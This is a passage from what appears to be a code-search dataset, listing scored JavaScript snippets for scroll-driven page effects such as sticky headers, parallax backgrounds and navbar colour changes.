eltd.body.removeClass('eltd-dark-header eltd-light-header').addClass(element.data(\"eltd_header_style\")) : eltd.body.removeClass('eltd-dark-header eltd-light-header').addClass(''+eltd.defaultHeaderStyle);\n };\n\n waypointSelectors.waypoint( function(direction) {\n if(direction === 'down') { changeStyle($(this.element)); }\n }, { offset: 0});\n\n waypointSelectors.waypoint( function(direction) {\n if(direction === 'up') { changeStyle($(this.element)); }\n }, { offset: function(){\n return -$(this.element).outerHeight();\n } });\n }\n }", "title": "" }, { "docid": "14114ed54e7e1ac42e11a9339baa5d18", "score": "0.5925804", "text": "function parallaxFade() {\n\tscrollPos = $(this).scrollTop();\n\t$('.feature__background-image').css({\n\t\t'top': (scrollPos/2)+\"px\"\n\t});\n\t$('.feature__content-wrap').css({\n\t\t'margin-bottom': (-scrollPos/4)+\"px\",\n\t\t'opacity': 1-(scrollPos/500)\n\t});\n}", "title": "" }, { "docid": "963522b0e1573270d9186ebc63295574", "score": "0.5909362", "text": "function ifHeaderTop() {\n if (scrolled <= ifHeaderTopDistance) {\n header.addClass(ifHeaderTopClass);\n }\n else if (scrolled > ifHeaderTopDistance) {\n header.removeClass(ifHeaderTopClass);\n }\n }", "title": "" }, { "docid": "e2b5f8dd6eb80c6cef2deba0fec95420", "score": "0.5905201", "text": "function bgscroll(){ \n\tcurrent -= 1; \n\t$('div.clouds').css(\"backgroundPosition\", (direction == 'h') ? current+\"px 0\" : \"0 \" + current+\"px\");\n}", "title": "" }, { "docid": "92987884a1d3cc4abbf3f18e86e811b9", "score": "0.5897733", "text": "function handleScroll() {\n if ($(this).scrollTop() > 20){\n $header.addClass(\"smaller\");\n\n if (isOriginallyLight) {\n $header.removeClass(\"light\");\n }\n } else {\n $header.removeClass(\"smaller\");\n\n if (isOriginallyLight) {\n $header.addClass(\"light\");\n }\n }\n }", "title": "" }, { "docid": "32014b84e0d862f98a378c327ce40b8a", "score": "0.5883177", "text": "function titlesForScroll()\n{ \n var menuDark = $.boeSettings.navAnchors.hasClass(\"darkmenu\");\n if ($.boeSettings.desktop) \t\t \t\t\n { \tif( menuDark && $.boeSettings.doc.scrollTop() > 110 ) \n \t{ \t $.boeSettings.navAnchors.removeClass(\"darkmenu\");\n \t\t\t$.boeSettings.topBannerHeader.addClass('showbg');\n \t\t\t$.boeSettings.topBanner.addClass(\"showbackground\");\n \t\t\t$.boeSettings.navAnchors.addClass(\"lightmenu\");\n \t\t\t$.boeSettings.topBannerHeader.fadeIn();\n \t\t $.boeSettings.bigFilmTitle.fadeOut();\n \t}\n \telse if(!menuDark && $.boeSettings.doc.scrollTop() <=110)\n \t { \n \t \t \t$.boeSettings.navAnchors.removeClass(\"lightmenu\");\n \t \t$.boeSettings.topBanner.removeClass(\"showbackground\");\n \t \t$.boeSettings.navAnchors.addClass(\"darkmenu\");\n \t \t$.boeSettings.topBannerHeader.fadeOut();\n \t $.boeSettings.bigFilmTitle.fadeIn();\n \t } \n }\n}", "title": "" }, { "docid": "6ffa7513cf63b53ba0bd5fe364e18756", "score": "0.5868866", "text": "function update(){var pos=$window.scrollTop();$this.each(function(){var $element=$(this),top=$element.offset().top,height=getHeight($element);/* Check if totally above or totally below viewport */\npos>top+height||top>pos+windowHeight||$this.css(\"backgroundPosition\",xpos+\" \"+Math.round((firstTop-pos)*speedFactor)+\"px\")})}", "title": "" }, { "docid": "ae4ef7c1d460d1ff9310a2729518815d", "score": "0.586081", "text": "function scrollFunction() {\n\nif (document.documentElement.scrollTop >300) {\n element.style.backgroundColor = rgb + 1 + ')';\n}\nelse {\n element.style.backgroundColor = rgb + 0 + ')';\n}\n}", "title": "" }, { "docid": "937b4fef203e8d3cf5a7442068e5bd08", "score": "0.58199453", "text": "function FondPleinQuandSticky(position_scroll) {\n\n for (let index = 0; index < headers.length; index++) {\n const element = headers[index];\n\n let lTop = element.getBoundingClientRect().top;\n if (lTop === 0) {\n element.classList.add(\"header-white\");\n }\n else if (lTop > 0) {\n element.classList.remove(\"header-white\");\n }\n\n }\n}", "title": "" }, { "docid": "cd74cac88a4bca6dc49b362faa578f8a", "score": "0.581051", "text": "function parallax(){\r\n var s = $(window).scrollTop();\r\n function parallaxBg(el,t){\r\n $(el).css({\r\n 'background-attachment': 'fixed',\r\n 'background-position': 'center ' + -(s*t) + 'px'\r\n })\r\n }\r\n /*efecto parallax para los textos*/ \r\n function parallaxFront(el,t){\r\n $(el).css({\r\n 'position': 'relative',\r\n 'top': -(s*t) + 'px'\r\n })\r\n }\r\n parallaxBg('body',.2);\r\n parallaxFront('h1',.5);\r\n}", "title": "" }, { "docid": "6f981f572a79173f0a59392e483a7a19", "score": "0.5797088", "text": "function pwpsHeaderBump() {\n\t\t\tvar _height = ( $('body').is( '.page' ) && $('.pwps-page-thumbnail').length ) ? '0px' : header.outerHeight() + 'px';\n\t\t\tpwpsContent.css( 'margin-top', _height );\n\t\t\t$( window ).resize( function(){\n\t\t\t\tsetTimeout( function() {\n\t\t\t\t\tpwpsContent.css( 'margin-top', _height );\n\t\t\t\t\tclearTimeout();\n\t\t\t\t}, 1000 );\n\t\t\t} );\n\t\t}", "title": "" }, { "docid": "950fce293b8c43dd779c1f7ecaa8f5c9", "score": "0.57959986", "text": "function showHeaderScrollTop() {\n if( $( window ).scrollTop() > 800 ) {\n $( \".scroll-top\" ).addClass( \"active\" );\n }\n else {\n $( \".scroll-top\" ).removeClass( \"active\" );\n } \n}", "title": "" }, { "docid": "3c466d71404c8a3a7ec388b8ec541ac7", "score": "0.57957673", "text": "function parallaxScroll()\n{\n var scrolled = $(window).scrollTop();\n $('#backgrounds').css('top',(0-(scrolled*1))+'px');\n $('#middles').css('top',(0-(scrolled*2))+'px');\n $('#foregrounds').css('top',(0-(scrolled*2.50))+'px');\n}", "title": "" }, { "docid": "b93e35d204c9d26d59c0fb9c9dbf45c7", "score": "0.57909536", "text": "function ghostHeader(element) {\n $(window).scroll(function(){ \n var scrollDistance = $(this).scrollTop(); \n var bottomOfElement = $(element).offset().top + $(element).outerHeight(); \n\n var opacity = 1 - (scrollDistance/(bottomOfElement)) \n $(element).css(\"opacity\", opacity);\n });\n}", "title": "" }, { "docid": "4bfab26527768dbfe072dd10681e8475", "score": "0.57842964", "text": "function onScroll() {\n\t var zoom = document.body.style.zoom || 1;\n gray.style.top = Math.floor(document.body.scrollTop/zoom) + \"px\";\n }", "title": "" }, { "docid": "66b248041e12829f33dbe4da337231a7", "score": "0.5776312", "text": "function parallaxScroll(){\n\t\tvar scrolled = $(window).scrollTop();\n\t\t$('.parallax').css('top',(scrolled)+'px');\n\t}", "title": "" }, { "docid": "cf290d34ba6a3b616c5b26cd8e47b78f", "score": "0.5770759", "text": "function initScrollToTop() {\n\n $(window).scroll(function() {\n var scrolltop = $(this).scrollTop();\n if (scrolltop > 100) {\n $('a.natScrollTop').fadeIn(1000);\n } else {\n $('a.natScrollTop').fadeOut(100);\n }\n });\n }", "title": "" }, { "docid": "64a538076765d828ac0af5a341e51faf", "score": "0.5763992", "text": "function scrollBanner() {\n //Get the scoll position of the page\n scrollPos = jQuery(this).scrollTop();\n\n //Scroll and fade out the banner text\n $('#bannertext').css({\n 'margin-top': -(scrollPos/4)+\"px\",\n 'opacity': 1-(scrollPos/600)\n });\n\n //Scroll the background of the banner\n $('#banner').css({\n 'background-position' : 'center ' + (-scrollPos/3)+\"px\"\n });\n }", "title": "" }, { "docid": "3651e1105bb3e1c07b3105ecc0455e42", "score": "0.576394", "text": "function checkOnScroll() {\n // check if the scroll is at the top, if it is then set the navbar background to white\n if (window.scrollY === 0) {\n the_nav.setAttribute('style', 'background-color:white !important');\n h1.setAttribute('style', 'color:black !important');\n\n // if not at the top, set the navbar background to green\n } else {\n the_nav.setAttribute('style', 'background-color:#0C2340 !important');\n the_nav.setAttribute('style', 'background-color:#0C2340 !important');\n h1.setAttribute('style', 'color:white !important');\n\n }\n console.log(window.scrollY); // log out the Y coordinates of the location of the window scroll\n }", "title": "" }, { "docid": "1f6665bba3a9dfdd9a02ef4bfff85bd3", "score": "0.57606107", "text": "function changeHeaderColor() {\n const headerTop = document.querySelector('.header__top');\n\n window.addEventListener('scroll', function () {\n if ((document.documentElement.scrollTop > 0 || window.pageYOffset > 0) || document.body.classList.contains('pushy-open-left')) {\n headerTop.classList.add('header__top-color');\n } else {\n headerTop.classList.remove('header__top-color');\n }\n });\n }", "title": "" }, { "docid": "0cc918cc5dfcba66d9f64f27437242de", "score": "0.5748869", "text": "function checkScroll()\n { \n var scrollTop = $window.scrollTop();\n\n // optimise to work only when the element is visible in the viewport\n if ( scrollTop > elemTop && scrollTop < elemBottom ) {\n elem.css('backgroundPosition','center '+((\n $(window).scrollTop() - elem.offset().top\n ))+'px');\n } \n }", "title": "" }, { "docid": "ff1355766e3fb39e2167fbc374648f7a", "score": "0.5743724", "text": "function animate_header() {\n\t// call this function whenever the browser has a sec\n window.requestAnimationFrame(animate_header);\n\n\tvar pos = Math.abs($window.scrollTop()),\n\t\talpha = ((window_height - 1.5 * pos) / window_height).toFixed(2),\n\t\tspeed = 0.3;\n\n\tif (alpha < 0) {\n\t\talpha = 0;\n\t}\n\n\tif (pos < window_height) {\n\t\t$('.glass-header-wrapper, .glass-scroll-button').css({\n\t\t\t'transform': 'translate3d(0,' + (speed * pos).toFixed(2) + 'px,0)',\n\t\t\t'opacity': alpha\n\t\t});\n\t\t$('.glass-cover-image').css('opacity', alpha);\n\t}\n}", "title": "" }, { "docid": "9ea582668a91426fb941c94f875e2dc1", "score": "0.5742762", "text": "function main() {\r\n // alert('fixed top debug');\r\n // envia elemento para posicao\r\n $(window).scroll(function () {\r\n if ($(this).scrollTop() >= 180) {\r\n $(\"tr.menutopo\").removeClass(\"\").addClass(\"menutopo2\") \r\n } else { \r\n $(\"tr.menutopo\").removeClass(\"menutopo2\").addClass(\"menutopo\")\r\n }\r\n});\r\n}", "title": "" }, { "docid": "26e729b34fe82e0d2847b43edbd9ea90", "score": "0.57402956", "text": "function parallax(){\n var scrolled = $(window).scrollTop();\n $('.hero').css('top',-(scrolled*0.0515)+'rem');\n $('.home-container').css('bottom',-(scrolled*0.0515)+'rem');\n $('.op-1,.op-2,.op-3').css('opacity',1-(scrolled*.00110)); \n }", "title": "" }, { "docid": "54d75d71dde43921b78ae2be9df82cf9", "score": "0.5734541", "text": "function headerStyleTwo() {\n\t\tif($('.main-header-two').length){\n\t\t\tvar windowpos = $(window).scrollTop();\n\t\t\tvar siteHeader = $('.main-header-two');\n\t\t\tvar fixedmenubg = $('.fixed-menu-bg');\n\t\t\tvar scrollLink = $('.scroll-to-top');\n\t\t\tif (windowpos >= 50) {\n\t\t\t\tsiteHeader.addClass('fixed-header');\n\t\t\t\tscrollLink.fadeIn(300);\n\t\t\t\tfixedmenubg.slideDown(500);\n\t\t\t} else {\n\t\t\t\tsiteHeader.removeClass('fixed-header');\n\t\t\t\tscrollLink.fadeOut(300);\n\t\t\t\tfixedmenubg.slideUp(300);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5d316cb85ac0c851aa9fd072f0b46895", "score": "0.57268083", "text": "function e(){var e;4<=t(window).scrollTop()?t(\"body\").addClass(\"scrolling\"):t(\"body\").removeClass(\"scrolling\")}", "title": "" }, { "docid": "e8c172389d498ddc0c8c9103e02926b8", "score": "0.572396", "text": "function updatePostHeaders() {\n $('.mod-tools-post').next('.post-stickyheader').each(function () {\n $(this).prependTo(this.parentNode);\n });\n }", "title": "" }, { "docid": "e85ad481fc18e58f396fc6c4cacc7459", "score": "0.5722788", "text": "function page_header_change() {\n if ($(window).scrollTop() <= menu_trans_y && $(\"#menu_mobile\").is(':hidden')) {\n header_transparent();\n } else {\n header_color();\n }\n}", "title": "" }, { "docid": "1224ee1fbd74b7e4fc18d5538f34cea5", "score": "0.5721048", "text": "function fixedHeader() {\n \n $('.breaking-news-section').waypoint(function(direction){\n \n if (direction == \"up\") {\n // scroll down\n $('.fixed-header').removeClass('show').removeClass('fadeInDown');\n } else if (direction == \"down\") {\n // scroll down\n $('.fixed-header').addClass('show').addClass('fadeInDown');\n }\n }, {\n offset: 0\n });\n }", "title": "" }, { "docid": "63eb5b57d2ad71d7e9ecb277f9083d94", "score": "0.5716901", "text": "function mostrarBarraHeader(){\n $(document).scroll(function(e){\n if($(window).scrollTop() >= ($(\"#top_home\").height()*1)){\n if(!withClass){\n jQuery('#header').removeClass(\"sombra\");\n jQuery('#header').addClass(\"av_header_effect\");\n $('#linea_cabecera').addClass(\"esconder_linea_cabecera\");\n $('#label_cabecera').addClass(\"centrar_label_cabecera\");\n withClass = true;\n } \n }\n if($(window).scrollTop() < ($(\"#top_home\").height()*1)){\n jQuery('#header').removeClass(\"av_header_effect\");\n jQuery('#header').addClass(\"sombra\");\n $('#linea_cabecera').removeClass(\"esconder_linea_cabecera\");\n $('#label_cabecera').removeClass(\"centrar_label_cabecera\");\n withClass = false;\n }\n }); \n}", "title": "" }, { "docid": "63eb5b57d2ad71d7e9ecb277f9083d94", "score": "0.5716901", "text": "function mostrarBarraHeader(){\n $(document).scroll(function(e){\n if($(window).scrollTop() >= ($(\"#top_home\").height()*1)){\n if(!withClass){\n jQuery('#header').removeClass(\"sombra\");\n jQuery('#header').addClass(\"av_header_effect\");\n $('#linea_cabecera').addClass(\"esconder_linea_cabecera\");\n $('#label_cabecera').addClass(\"centrar_label_cabecera\");\n withClass = true;\n } \n }\n if($(window).scrollTop() < ($(\"#top_home\").height()*1)){\n jQuery('#header').removeClass(\"av_header_effect\");\n jQuery('#header').addClass(\"sombra\");\n $('#linea_cabecera').removeClass(\"esconder_linea_cabecera\");\n $('#label_cabecera').removeClass(\"centrar_label_cabecera\");\n withClass = false;\n }\n }); \n}", "title": "" }, { "docid": "8fe13658a654427011950fdff00d56c7", "score": "0.57062125", "text": "function checkScroll() {\n\t\t\t// set up variables\n\t\t\tvar post, postHeight, sidebar, sidebarHeight, windowScrollTop, windowHeight;\n\t\t\tpost = $('article.post');\n\t\t\tpostHeight = post.height();\n\t\t\tpostWrapper = $('article.post .post-wrapper');\n\t\t\tpostWrapperHeight = postWrapper.height();\n\t\t\tsidebar = $('#sidebar');\n\t\t\tsidebarHeight = sidebar.height();\n\t\t\tsidebarWrapper = $('#sidebar .sidebar-wrapper');\n\t\t\tsidebarWrapperHeight = sidebarWrapper.height();\n\t\t\twindowScrollTop = $(window).scrollTop();\n\t\t\twindowHeight = $(window).height();\n\t\t\t// check to see which column is longer\n\t\t\tif (sidebarHeight < postHeight) {\n\t\t\t\t// if sidebar is shorter, do this\n\t\t\t\tif (windowScrollTop + windowHeight > post.offset().top + sidebarWrapperHeight) {\n\t\t\t\t\t// we've reached the bottom of the sidebar, so anchor it\n\t\t\t\t\t// find the appropriate position for the sidebar\n\t\t\t\t\t// var bottomPosition = post.offset().top + postHeight - windowScrollTop - windowHeight;\n\t\t\t\t\t// set the position\n\t\t\t\t\tsidebarWrapper.css({\n\t\t\t\t\t\tposition: 'fixed',\n\t\t\t\t\t\tbottom: '0px',\n\t\t\t\t\t\twidth: sidebar.width()\n\t\t\t\t\t});\n\t\t\t\t\t// if we can see the footer, fix the sidebar to bottom of section\n\t\t\t\t\tif (isInView('footer')) {\n\t\t\t\t\t\tsidebar.css({\n\t\t\t\t\t\t\tposition: 'absolute',\n\t\t\t\t\t\t\tbottom: '-50px',\n\t\t\t\t\t\t\tright: '0px'\n\t\t\t\t\t\t});\n\t\t\t\t\t\tsidebarWrapper.css({\n\t\t\t\t\t\t\tposition: 'static',\n\t\t\t\t\t\t\twidth: '100%'\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// we're at the top\n\t\t\t\t\tsidebar.css({\n\t\t\t\t\t\tposition: 'static',\n\t\t\t\t\t});\n\t\t\t\t\tsidebarWrapper.css({\n\t\t\t\t\t\tposition: 'static',\n\t\t\t\t\t\twidth: '100%'\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// if post is shorter, do this\n\t\t\t\tif (windowScrollTop + windowHeight > sidebar.offset().top + postWrapperHeight) {\n\t\t\t\t\t// we've reached the bottom of the post, so anchor it\n\t\t\t\t\t// find the appropriate position for the post\n\t\t\t\t\t// var bottomPosition = sidebar.offset().top + sidebarHeight - windowScrollTop - windowHeight;\n\t\t\t\t\t// set the position\n\t\t\t\t\tpostWrapper.css({\n\t\t\t\t\t\tposition: 'fixed',\n\t\t\t\t\t\tbottom: '0px',\n\t\t\t\t\t\twidth: post.width()\n\t\t\t\t\t});\n\t\t\t\t\t// if we can see the footer, fix the post to bottom of section\n\t\t\t\t\tif (isInView('footer')) {\n\t\t\t\t\t\tpost.css({\n\t\t\t\t\t\t\tposition: 'absolute',\n\t\t\t\t\t\t\tbottom: '-50px',\n\t\t\t\t\t\t\tleft: '0px'\n\t\t\t\t\t\t});\n\t\t\t\t\t\tpostWrapper.css({\n\t\t\t\t\t\t\tposition: 'static',\n\t\t\t\t\t\t\twidth: '100%'\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// we're at the top\n\t\t\t\t\tpost.css({\n\t\t\t\t\t\tposition: 'static'\n\t\t\t\t\t});\n\t\t\t\t\tpostWrapper.css({\n\t\t\t\t\t\tposition: 'static',\n\t\t\t\t\t\twidth: '100%'\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5d7e6ae886cc3433e31130a32d1a7d9f", "score": "0.56982046", "text": "function scrollBanner() {\n\t $(document).on('scroll', function(){\n\t\tvar scrollPos = $(this).scrollTop();\n\t\t\tif ($(window).width() > 1200) {\n\t\t\t\t$('.parallax-top').css({\n\t\t\t\t 'top' : (scrollPos/2.5)+'px'\n\t\t\t\t});\n\t\t\t\t$('.parallax-fade-top').css({\n\t\t\t\t 'top' : (scrollPos/2)+'px',\n\t\t\t\t 'opacity' : 1-(scrollPos/750)\n\t\t\t\t});\n\t\t\t\t$('.fade-top').css({\n\t\t\t\t 'opacity' : 1-(scrollPos/350)\n\t\t\t\t});\n\t\t\t}\t\n\t }); \n\t}", "title": "" }, { "docid": "87fdd3674d89092f841b3a7bba54eedd", "score": "0.5693843", "text": "function backgroundmenu() {\n\n\t\t$(document).ready(function() {\n\t\t\tif ($(\"#header-fade\").length) {\n\n\t\t\t\t$(window).scroll(function() {\n\t\t\t\t\tif ($(this).scrollTop() > 10) {\n\t\t\t\t\t\t$('header').fadeOut();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$('header').fadeIn();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif ($(\"#header-white\").length) {\n\n\t\t\t\t$(window).scroll(function() {\n\t\t\t\t\tif ($(this).scrollTop() > 10) {\n\t\t\t\t\t\t$('header').css(\"background\", \"white\");\n\t\t\t\t\t\t$('header .logo > a').css(\"borderBottom\", \"0\");\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$('header').css(\"background\", \"none\");\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t});\n\n\t}", "title": "" }, { "docid": "98f65b1e0e9f30863eac0008a77cf0e7", "score": "0.56905776", "text": "function essb_postfloat_onscroll() {\n\t\t\tvar current_pos = $(window).scrollTop();\n\t\t\tvar height = $(document).height()-$(window).height();\n\t\t\tvar percentage = current_pos/height*100;\n\t\t\n\t\t\tvar value_appear = essb_settings.postfloat_percent || '';\n\t\t\n\t\t\tvar element;\n\t\t\tif ($(\".essb_displayed_postfloat\").length) \n\t\t\t\telement = $(\".essb_displayed_postfloat\");\n\t\t\n\t\t\tif (!element || typeof(element) == \"undefined\") { return; }\n\t\t\n\t\t\tvalue_appear = parseInt(value_appear);\n\t\t\tif (isNaN(value_appear)) value_appear = 0;\n\t\t\n\t\t\tif (value_appear > 0 ) {\n\t\t\t\tif (percentage >= value_appear && !element.hasClass(\"essb_active_postfloat\")) {\n\t\t\t\t\telement.addClass(\"essb_active_postfloat\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tif (percentage < value_appear && element.hasClass(\"essb_active_postfloat\")) {\n\t\t\t\t\telement.removeClass(\"essb_active_postfloat\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "22b7974c9f8ae40866dad079d295b21a", "score": "0.5685909", "text": "function fadeOnScroll(top) {\n \t\tvar text = [];\n\t\ttext.push(\n\t\t\t\"top:\",\n\t\t\tMath.max((-top / 5),-100),\n\t\t\t\"px;\",\n\t\t\t\"opacity:\",\n\t\t\tMath.max(0,(1-(top / 100)))\n\t\t);\n\t\thead.style.cssText = text.join(\"\");\n \t}", "title": "" }, { "docid": "75e77da9535f9ad63063c8539951dd09", "score": "0.56735164", "text": "function colorHeader() { \r\n\r\n let myWidth = window.innerWidth;\r\n\r\n window.onscroll = function() {\r\n\r\n // Si la largeur est supérieur à 768px alors on change le background de notre menu...\r\n if(myWidth > 768) {\r\n \r\n // En écran large, si on scroll a plus de 980px, on change les couleurs de la nav\r\n if(document.documentElement.scrollTop > 980) {\r\n nav.style.background = '#373737';\r\n liens[0].style.color = \"white\";\r\n liens[1].style.color = \"white\";\r\n liens[2].style.color = \"white\";\r\n liens[3].style.color = \"white\";\r\n } else {\r\n nav.style.background = '#F0EAd6';\r\n liens[0].style.color = \"#373737\";\r\n liens[1].style.color = \"#373737\";\r\n liens[2].style.color = \"#373737\";\r\n liens[3].style.color = \"#373737\";\r\n }\r\n\r\n // ... sinon si on est en dessous de 768px, on laisse la couleur beige\r\n } else {\r\n nav.style.background = '#F0EAd6';\r\n liens[0].style.color = \"#373737\";\r\n liens[1].style.color = \"#373737\";\r\n liens[2].style.color = \"#373737\";\r\n liens[3].style.color = \"#373737\";\r\n }\r\n } \r\n}", "title": "" }, { "docid": "4e5f6aa9149a74b750baf619297c45ce", "score": "0.56716317", "text": "function parallax(){\n var scrolled = $(window).scrollTop();\n $('.bg').css('height', (jumboHeight-scrolled) + 'px');\n }", "title": "" }, { "docid": "54f23a53045181362da35896f0a6a800", "score": "0.56705976", "text": "function initScrollClass() {\n var body = jQuery(\"body:not(.admin-bar)\"), win = jQuery(window);\n win.scrollTop();\n win.on(\"scroll resize orentationchange\", function() {\n 50 < win.scrollTop() ? body.addClass(\"page-scrolled\") : body.removeClass(\"page-scrolled\");\n });\n}", "title": "" }, { "docid": "6ce073b72c6b4b0d0944d94911e53a01", "score": "0.56497556", "text": "function chgColorNavbar() {\n\t$(window).scroll(function() {\n\t \tif ($(\"#bar\").offset().top > 631) {\n\t $(\"#bar\").addClass(\"bg-white\");\n\t }\n\t else {\n\t $(\"#bar\").removeClass(\"bg-white\");\n\t }\n\t });\n}", "title": "" }, { "docid": "42a3a0275069017f332ba92e483401d5", "score": "0.5640034", "text": "function scrollBody() {\n $(document).ready(function () {\n $(window).scroll(function () {\n var scrollheight = $(window).scrollTop();\n if (scrollheight > 80) {\n $(\"#menu\").css(\"background\", \"#fff\");\n $(\"#menu\").addClass(\"fixed-menu\");\n $(\"#menu\").addClass(\"shadow-head\");\n } else {\n $(\"#menu\").removeClass(\"fixed-menu\");\n $(\"#menu\").removeClass(\"shadow-head\");\n }\n });\n });\n}", "title": "" }, { "docid": "a6576bef02930110e360ba00aa6acf90", "score": "0.5623254", "text": "function fixedHeader (){\n if ($(this).scrollTop() > (showHeader + filterLabelHeight - headerHeight) ) {\n $('.page_header').addClass('fixed');\n $('.filter').addClass('fixed');\n } else {\n $('.page_header').removeClass('fixed');\n $('.filter').removeClass('fixed');\n }\n}", "title": "" }, { "docid": "a758d9eb8c0f6323e2d79b19004c06c8", "score": "0.56193733", "text": "function parallax(){\n \n var s = $(window).scrollTop();//guardamos el valor en pixeles del scrolltop en la variable s\n\n function parallaxBg(el,t){//funcion parallax para el background que recibe como primer parametro el elemento y como segundo parametro el factor de multiplicacion con que aplicaremos el paralax\n $(el).css({//accedemos a la propiedad css del elemento y modificamos las propiedaddes position y attachment del background\n \n 'background-attachment': 'fixed',\n 'background-position' : 'center ' + -(s*t) + 'px',\n })\n }\n \n\n function parallaxFront(el, t){//funcion parallax para el front o los elementos sobre el background recibe los mismos parametros que la funcion anterior\n $(el).css({//accedemos a la propiedad css del elemento y modificamos las propiedades position y top del mismo\n 'position' : 'relative',\n 'top': -(s*t) + 'px'\n })\n }\n\n parallaxBg('body',.1);//llamamos a la funcion y pasamos los parametros\n parallaxBg('footer',.1);//llamamos a la funcion y pasamos los parametros\n parallaxFront('h1',2);//llamamos a la funcion y pasamos los parametros\n parallaxFront('.page',.8);//llamamos a la funcion y pasamos los parametros\n }", "title": "" }, { "docid": "f5aff8db266085fe25818769566becd6", "score": "0.56130666", "text": "function inViewport() {\n var vwOffset = $(window).innerHeight() + $(window).scrollTop();\n $.each($('#loop article'), function() {\n var elemOffset = parseInt($(this).offset().top,10);\n\n if (elemOffset < vwOffset) {\n $(this).addClass('shown');\n } else {\n $(this).removeClass('shown');\n }\n });\n}", "title": "" }, { "docid": "03242c93160a0aa1d54f63277c01609a", "score": "0.55997604", "text": "initScrollEventFromHeader()\n\t{\n\t\tvar self = this;\n\t\tvar $window = $(window);\n\t\tvar scrollTop = 0;\n\t\tvar hideHeader = false;\n\t\tvar timestamp = 0;\n\n\t\tthis.$dom.header.removeClass('hide');\n\n\t\tfunction on()\n\t\t{\n\t\t\tself.$dom.header.removeClass('hide');\n\t\t\tif (modules.article.$body)\n\t\t\t{\n\t\t\t\tmodules.article.$body.children('.external-buttons').removeClass('hide');\n\t\t\t}\n\t\t\thideHeader = false;\n\t\t}\n\t\tfunction off()\n\t\t{\n\t\t\tself.$dom.header.addClass('hide');\n\t\t\tif (modules.article.$body)\n\t\t\t{\n\t\t\t\tmodules.article.$body.children('.external-buttons').addClass('hide');\n\t\t\t}\n\t\t\thideHeader = true;\n\t\t}\n\n\t\t$window.on('scroll.header', (e) => {\n\t\t\tvar sctop = $window.scrollTop();\n\t\t\tif (sctop > ($window.height() * 0.3))\n\t\t\t{\n\t\t\t\tif (scrollTop > sctop)\n\t\t\t\t{\n\t\t\t\t\tif (hideHeader)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((e.timeStamp - timestamp) < 300) return false;\n\t\t\t\t\t\ton();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (!hideHeader)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((e.timeStamp - timestamp) < 100) return false;\n\t\t\t\t\t\toff();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (hideHeader)\n\t\t\t\t{\n\t\t\t\t\ton();\n\t\t\t\t}\n\t\t\t}\n\t\t\tscrollTop = sctop;\n\t\t\ttimestamp = e.timeStamp;\n\t\t});\n\t}", "title": "" }, { "docid": "65a483549495102066a1ae51fb3b26ce", "score": "0.5598388", "text": "function myFunction() {\r\n if (window.pageYOffset > sticky) {\r\n $('.header-section').find('.menu_logo').find('img').attr('src' , 'images/Logo_w.png');\r\n header.classList.add(\"sticky\");\r\n $('.header-section').addClass('single_header');\r\n } else {\r\n var chek = $('.header-section').hasClass('main_hea_index');\r\n if(chek){\r\n $('.header-section').find('.menu_logo').find('img').attr('src' , 'images/Logo.png');\r\n }\r\n header.classList.remove(\"sticky\");\r\n $('.header-section').removeClass('single_header');\r\n\r\n // var chek = $('.main_sec_header').hasClass('main_hea_index');\r\n // // console.log(chek);\r\n // if(chek == true){\r\n // $('.header-section').removeClass('single');\r\n // }\r\n }\r\n }", "title": "" }, { "docid": "d1ebea8b518c4c18d54ba629a5812fc8", "score": "0.55851626", "text": "function backToTopWithHeaderChange() {\n $(window).scroll(function () {\n if ($(window).scrollTop() >= 100) {\n $('.itl-header--fixed').addClass('bg-dark-nav');\n $('.itl-header--inherit').addClass('fixed-top');\n //$('#back-to-top').addClass('reveal');\n } else {\n $('.itl-header--fixed').removeClass('bg-dark-nav');\n $('.itl-header--inherit').removeClass('fixed-top');\n //$('#back-to-top').removeClass('reveal');\n }\n });\n }", "title": "" }, { "docid": "04bae5c3f5c28a8f1cc598240bbc2fa9", "score": "0.5582725", "text": "function headerResize() {\n var documentY = window.pageYOffset;\n\n if ($('body').hasClass('home')) {\n $('body').addClass('front-page')\n if (documentY > 300) {\n $('body').removeClass('front-page');\n } else {\n $('body').addClass('front-page');\n }\n }\n }", "title": "" }, { "docid": "e3068acc0affcaa4602a5aecd26dff17", "score": "0.55827034", "text": "function initHeaderScroll() {\n _window.on('scroll', throttle(function (e) {\n var vScroll = _window.scrollTop();\n var header = $('.header').not('.header--static');\n var headerHeight = header.height();\n var firstSection = _document.find('.page__content div:first-child()').height() - headerHeight;\n var visibleWhen = Math.round(_document.height() / _window.height()) > 2.5\n\n if (visibleWhen) {\n if (vScroll > headerHeight) {\n header.addClass('is-fixed');\n } else {\n header.removeClass('is-fixed');\n }\n if (vScroll > firstSection) {\n header.addClass('is-fixed-visible');\n } else {\n header.removeClass('is-fixed-visible');\n }\n }\n }, 10));\n }", "title": "" }, { "docid": "3f306a465a43b0835aebc2d986aab1b0", "score": "0.5581822", "text": "function scroll(){\n\n var windowTop = $(window).scrollTop();\n\n articleSections.each(function(i,el){\n var offset = $(el).offset();\n var fromTop = offset.top - windowTop;\n if(fromTop >= 0 && fromTop < 400) {\n var id = $(el).attr('id');\n selectSection(id);\n }\n });\n\n if(windowTop + windowHeight == docHeight){\n var last = articleSections[articleSections.length - 1];\n var id = $(last).attr('id');\n selectSection(id);\n }\n}", "title": "" }, { "docid": "0e3dec9c5b0c353d544f823df211b9d7", "score": "0.55769056", "text": 